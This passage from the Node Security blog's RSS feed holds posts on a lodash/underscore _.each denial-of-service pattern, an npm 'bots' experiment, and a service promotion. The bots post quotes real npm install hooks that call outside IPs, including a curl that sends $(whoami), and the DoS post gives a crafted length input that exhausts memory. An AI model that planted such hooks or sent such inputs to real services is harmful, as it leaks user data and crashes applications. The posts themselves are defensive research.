established to curate and manage the advisory data we are going to focus on pushing beyond simple known vulnerabilities checks.</p><p><em>Security is a process</em> and we’re going to give you the tools and talent to support you in that process. We’re also working to give you access to the tools and information we have as researchers so you can dig around and find something great.</p><p>From all of us on the Node Security Platform team, we thank you for helping make the last 4 years a success. ❤</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=69b03228b03" width="1" height="1" alt=""><hr><p><a href="https://medium.com/node-security/4-years-of-node-security-69b03228b03">4 years of Node Security</a> was originally published in <a href="https://medium.com/node-security">Node Security</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Potential DoS using lodash/underscore collection methods over user inputs]]></title>
            <link>https://medium.com/node-security/potential-dos-using-lodash-underscore-collection-methods-over-user-inputs-4aa2deb34cf6?source=rss----e83c91009b51---4</link>
            <guid isPermaLink="false">https://medium.com/p/4aa2deb34cf6</guid>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[lodash]]></category>
            <category><![CDATA[underscore]]></category>
            <category><![CDATA[do]]></category>
            <dc:creator><![CDATA[syrnick]]></dc:creator>
            <pubDate>Fri, 24 Mar 2017 16:50:15 GMT</pubDate>
            <atom:updated>2017-03-24T16:50:14.608Z</atom:updated>
            <content:encoded><![CDATA[<p>JavaScript is a magical language. Functions are objects, and objects can have new properties added on the fly. Compilers optimize the code to run it very fast. Even more magic is available with a single npm install command. Let’s take <a href="http://underscorejs.org/">underscore</a> or <a href="http://lodash.com/">lodash</a>: they bring a rich set of helpers to provide consistent functional interface for many, many tasks. Map, reduce, each, groupBy, keyBy — these are some of my favorites. Even if you aren’t using these libraries directly, you should look at their source to see what they do and why.</p><p>The magic can sometimes bite. I was investigating a rare bug that affected one of <a href="https://airtable.com/">Airtable</a>’s users. It manifested itself as an exception</p><pre>TypeError: Cannot read property &#39;toLowerCase&#39; of undefined</pre><p>Our partners at <a href="https://zapier.com">Zapier</a> helped to identify the cause of the error. Using _.each over results returned by the <a href="https://airtable.com/api">Airtable API</a> leads to iteration over numeric keys when the returned <strong>object has a length property with a numeric value. </strong>The Airtable API is unique in that the user controls the schema and we provide a RESTful API for that specific base. One user happened to have a numeric length column that triggered this error. The fix was simply change</p><pre>_.each(object, function(value, key) { ... });</pre><p>to</p><pre>_.each(_.keys(object), function(key) { <br>   const value = object[key]; <br>   ... <br>});</pre><h3>Vulnerability</h3><p><strong>_.each will iterate over numeric keys for array-like objects, i.e. objects that have a length property with numeric value</strong></p><p>For lodash, it’s <a href="https://github.com/lodash/lodash/blob/master/isArrayLike.js#L26">here</a> and <a href="https://github.com/lodash/lodash/blob/master/isLength.js#L29">here</a>. For underscore, it’s <a href="https://github.com/jashkenas/underscore/blob/master/underscore.js#L176">here</a> and <a href="https://github.com/jashkenas/underscore/blob/master/underscore.js#L164">here</a>.</p><p>The behaviour was highly unexpected and got me thinking. Could it lead to an RCE? Maybe. Could it lead to unintended data disclosure? Maybe, with some esoteric code using it.</p><p>Could it lead to a DOS? Oh, that’s easy. Iterating over a very long array will lock up the CPU.</p><p>Can we cause a crash? That’s not too hard either. Consider a code that validates user input like <a href="https://gist.github.com/syrnick/f1eed31db3de3a3466213150b05e34c6">this</a>:</p><pre>const badKeys = [];<br>_.each(obj, (value, key) =&gt; /^key/.test(k) || badKeys.push(k));</pre><p>Now passing an object with a length property having a large number will lead to <a href="https://gist.github.com/syrnick/0997b6745684caaa65f52a61cc529745">OOM</a> (out of memory):</p><pre>const obj = {&quot;keyFoo&quot;: &quot;bar&quot;, &quot;length&quot;: 1000000000};</pre><p>Here’s a full example of a vulnerable app using the same pattern: <a href="https://github.com/syrnick/underscore_lodash_each_dos_example">https://github.com/syrnick/underscore_lodash_each_dos_example</a></p><p>If you find another situation or a specific library that’s vulnerable, <a href="https://airtable.com/shrh9xbCvDTYctKWo">fill out this form</a> — I’d love to hear about it.</p><h3>What should you do?</h3><p>Here’s my personal recommendation:</p><p>Step 1. Inspect your code for the use of collection methods over user-controlled data. Replace all of them with iteration over object keys:</p><pre>_.each(_.keys(object), function(key) { <br>    const value = object[key]; <br>    ... <br>});</pre><p>If you find yourself vulnerable, fix it asap, minimize the number of changes, and keep code as clear as possible.</p><p>A lots of helper methods are vulnerable, but most likely you’re using only a few. In our case, we were using a custom build of lodash, so we knew exactly what methods we were using and inspected them all.</p><p>In our case, the vast majority of our call sites weren’t vulnerable to DOS because the objects were keyed by internal IDs. Phew.</p><p>Step 2. Follow the discussion on your favorite library. Here’s the <a href="https://github.com/jashkenas/underscore/issues/2663">thread for underscore</a>. Changing this behavior might require significant changes including a semver major jump.</p><p>Step 3. Stop using vulnerable methods altogether. Now that you’ve stopped using vulnerable methods over user data, it’s best to phase them out completely. Figure out proper replacements and roll them out to your whole codebase. E.g. you could create a wrapper that checks for the length attributes and uses _.keys internally. Then you can slowly migrate to it. This way you won’t accidentally re-introduce the vulnerability again.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4aa2deb34cf6" width="1" height="1" alt=""><hr><p><a href="https://medium.com/node-security/potential-dos-using-lodash-underscore-collection-methods-over-user-inputs-4aa2deb34cf6">Potential DoS using lodash/underscore collection methods over user inputs</a> was originally published in <a href="https://medium.com/node-security">Node Security</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Most Common XSS Vulnerability in React.js Applications]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://medium.com/node-security/the-most-common-xss-vulnerability-in-react-js-applications-2bdffbcc1fa0?source=rss----e83c91009b51---4"><img src="https://cdn-images-1.medium.com/max/791/1*BvkafskD3SGEUbhj37xjWg.png" width="791"></a></p><p class="medium-feed-snippet">If you&#x2019;ve copied the renderFullPage function from the redux documentation, then you&#x2019;re vulnerable to an cross site scripting attack.</p><p class="medium-feed-link"><a href="https://medium.com/node-security/the-most-common-xss-vulnerability-in-react-js-applications-2bdffbcc1fa0?source=rss----e83c91009b51---4">Continue reading on Node Security »</a></p></div>]]></description>
            <link>https://medium.com/node-security/the-most-common-xss-vulnerability-in-react-js-applications-2bdffbcc1fa0?source=rss----e83c91009b51---4</link>
            <guid isPermaLink="false">https://medium.com/p/2bdffbcc1fa0</guid>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[xs]]></category>
            <category><![CDATA[react]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Emelia Smith]]></dc:creator>
            <pubDate>Mon, 28 Nov 2016 20:37:39 GMT</pubDate>
            <atom:updated>2019-05-24T21:40:50.246Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[What Are The Bots Up To On npm?]]></title>
            <link>https://medium.com/node-security/what-are-the-bots-up-to-on-npm-4ab1aea034b?source=rss----e83c91009b51---4</link>
            <guid isPermaLink="false">https://medium.com/p/4ab1aea034b</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[npm]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[bots]]></category>
            <category><![CDATA[nodejs]]></category>
            <dc:creator><![CDATA[Adam Baldwin]]></dc:creator>
            <pubDate>Wed, 09 Nov 2016 15:50:44 GMT</pubDate>
            <atom:updated>2016-11-09T18:55:44.748Z</atom:updated>
            <content:encoded><![CDATA[<p>Last year I had a thought, “who else is downloading and running / testing random modules on npm.” Postulating that there might be bots, build systems or other researchers mass downloading and running modules from npm. I figured it might be an interesting vector to attack systems and gain a foothold for some org and I was curious to know what that traffic looked like.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*GVooNi1mSvkl2QC35pGsFQ.png" /><figcaption>Illustration by Amy Lynn Taylor at yesand.is</figcaption></figure><h4>So I set the bait.</h4><p>I built a module, called <a href="https://www.npmjs.com/package/botbait">botbait</a>. This module calls home when it’s installed, required, or tested as well as the following.</p><pre>var payload = {<br> process_versions: process.versions,<br> process_platform: process.platform,<br> process_arch: process.arch,<br> type: process.argv[2] || ‘index.js’<br>}</pre><h3>The Results</h3><p>The results are pretty boring. I thought there would be a lot more random installations / tests to be honest.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PoF-8H0MUj2BXGxkeLMdjg.png" /></figure><p><strong>Total Downloads — 582</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QhOcep0YblvGjcdca8Jveg.png" /><figcaption>Who took the bait?</figcaption></figure><p><strong>Unique Sources — 7</strong></p><p>The sources that stand out as interesting to me are the ones from Berkeley and Microsoft. I hope that somebody there has some interesting research to share.</p><p><a href="https://gist.github.com/evilpacket/85f913492f8ef9f9b7b927eef4da2463">Raw data</a>.</p><pre>2015-06-23T21:04:11.995Z, 193.137.5.49, ran npm test<br>2015-11-25T18:02:53.950Z, 140.78.145.161, npm i<br>2016-01-29T16:26:03.223Z, 89.251.52.64, npm i <br>2016-08-13T18:19:28.746Z, 131.107.160.43, ran or required index.js<br>2016-08-26T02:56:44.625Z, 103.6.32.2, npm i<br>2016-09-30T22:34:10.421Z, 192.31.105.138, ran or required index.js<br>2016-10-08T04:07:01.342Z, 192.31.105.136, ran or required index.js</pre><h3>Who else is watching?</h3><p>During my late nights spelunking around the npm registry I found a few others that are calling home.</p><p><em>I do not in any way recommend installing these modules. At the time of writing they were not malicious but you never know.</em></p><p><a href="https://www.npmjs.com/package/et_phone_home"><strong>et_phone_home</strong></a> — pings a url</p><pre>wget -q <a href="http://176.31.142.25/javascript_no_way_you_got_here_randomly">http://176.31.142.25/javascript_no_way_you_got_here_randomly</a></pre><p><a href="https://www.npmjs.com/package/anarchy"><strong>anarchy</strong></a> — Reports to google analytics <em>UA-48351156–4</em></p><p><a href="https://www.npmjs.com/package/harmlesspackage"><strong>harmlesspackage</strong></a><strong> </strong>— reports your username via postinstall hook</p><pre>curl -X GET <a href="http://104.131.21.155:8043/\\?$(whoami">http://104.131.21.155:8043/\\?$(whoami</a>)</pre><p>… I’m sure there are others that I didn’t notice this time around.</p><h4><strong>Final thoughts</strong></h4><p>Something I thought would be fun to dig into really wasn’t. It’s not always a glorious result for research. There isn’t a lot of automated activity that’s just downloading all the modules and doing things. Most of the activity comes from registry replicas mirroring the registry.</p><p>We spend a lot of time trying to secure the commons for the node community. It takes a lot of time and resources. If you would like to sponsor this work, get your application tested by a ridiculously talented group of hackers, or just have a friendly chat, reach out to us at <a href="mailto:contact@nodesecurity.io">contact@nodesecurity.io</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4ab1aea034b" width="1" height="1" alt=""><hr><p><a href="https://medium.com/node-security/what-are-the-bots-up-to-on-npm-4ab1aea034b">What Are The Bots Up To On npm?</a> was originally published in <a href="https://medium.com/node-security">Node Security</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Why you should move from nsp cli to nodesecurity.io?]]></title>
            <link>https://medium.com/node-security/why-you-should-move-from-nsp-cli-to-nodesecurity-io-201f5f35935e?source=rss----e83c91009b51---4</link>
            <guid isPermaLink="false">https://medium.com/p/201f5f35935e</guid>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[nsp]]></category>
            <category><![CDATA[nodejs]]></category>
            <dc:creator><![CDATA[Adam Baldwin]]></dc:creator>
            <pubDate>Tue, 08 Nov 2016 01:09:28 GMT</pubDate>
            <atom:updated>2016-11-08T01:09:28.040Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/349/1*QskEKcc8lp6dFSrwiv1dvQ.png" /><figcaption>Node.js Continuous Security Monitoring at nodesecurity.io</figcaption></figure><p>For years the Node community has relied on the <a href="https://nodesecurity.io/opensource">nsp</a> (grunt-nsp and gulp-nsp) command line tools to check open source projects against our security advisory database. We know you love them because they get over 170k downloads a month, but we think you should try out <a href="https://nodesecurity.io">nsp Continuous Security</a>.</p><p>Below are just a few of the extra features you get.</p><p><strong>Pull Request integration</strong><br>As pull requests are submitted to your project the code is automatically checked for known vulnerabilities. We even update the pull request’s status, just like your CI.</p><p><strong>Security status is separate from CI status</strong><br>The most common configuration we see with nsp and related tooling is used within CI. However, known vulnerabilities do not always constitute exploitability and as such you may not want to always break the build when a known vulnerability crops up. Having a separate integration and status for security checks help you make this distinction. Additionally exception management and the push button security fix feature we offer lets you take action right from GitHub, something that’s not possible when using the nsp command line tool.</p><p><strong>Stale repositories don’t get ignored</strong><br>Every day we check your connected repositories, that way as we add advisories to our database you don’t have to wait until code is shipped to find out if something affects your project. If we do find a risk, we’ll send a notification to you. This is a great way to make sure your less active projects don’t get ignored.</p><p><strong>Exception Management</strong><br>While the nsp cli offers a JSON file that you can edit to make exceptions, nsp Continuous Security gives you a push button interface for exceptions along with an audit trail of who made the exception and for what reason.</p><p><strong>Push Button Security Fixes</strong><br>We <a href="https://medium.com/node-security/removing-the-security-chore-of-identified-vulnerabilities-514de936374f#.l9xeimamz">recently announced</a> the quick fix security button, which simplifies getting rid of that security risk in your project by automatically updating your pull request to update vulnerable dependencies for you.</p><p><strong>Private repositories help support us</strong><br>We only charge $1 / month / private node repository and that goes to help us fund the dedicated team of developers and security researchers helping put this data into your hands.</p><p>We hope that you will support us, check out nodesecurity.io and give us your feedback. We’re here for you, to help you ship more secure software.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=201f5f35935e" width="1" height="1" alt=""><hr><p><a href="https://medium.com/node-security/why-you-should-move-from-nsp-cli-to-nodesecurity-io-201f5f35935e">Why you should move from nsp cli to nodesecurity.io?</a> was originally published in <a href="https://medium.com/node-security">Node Security</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>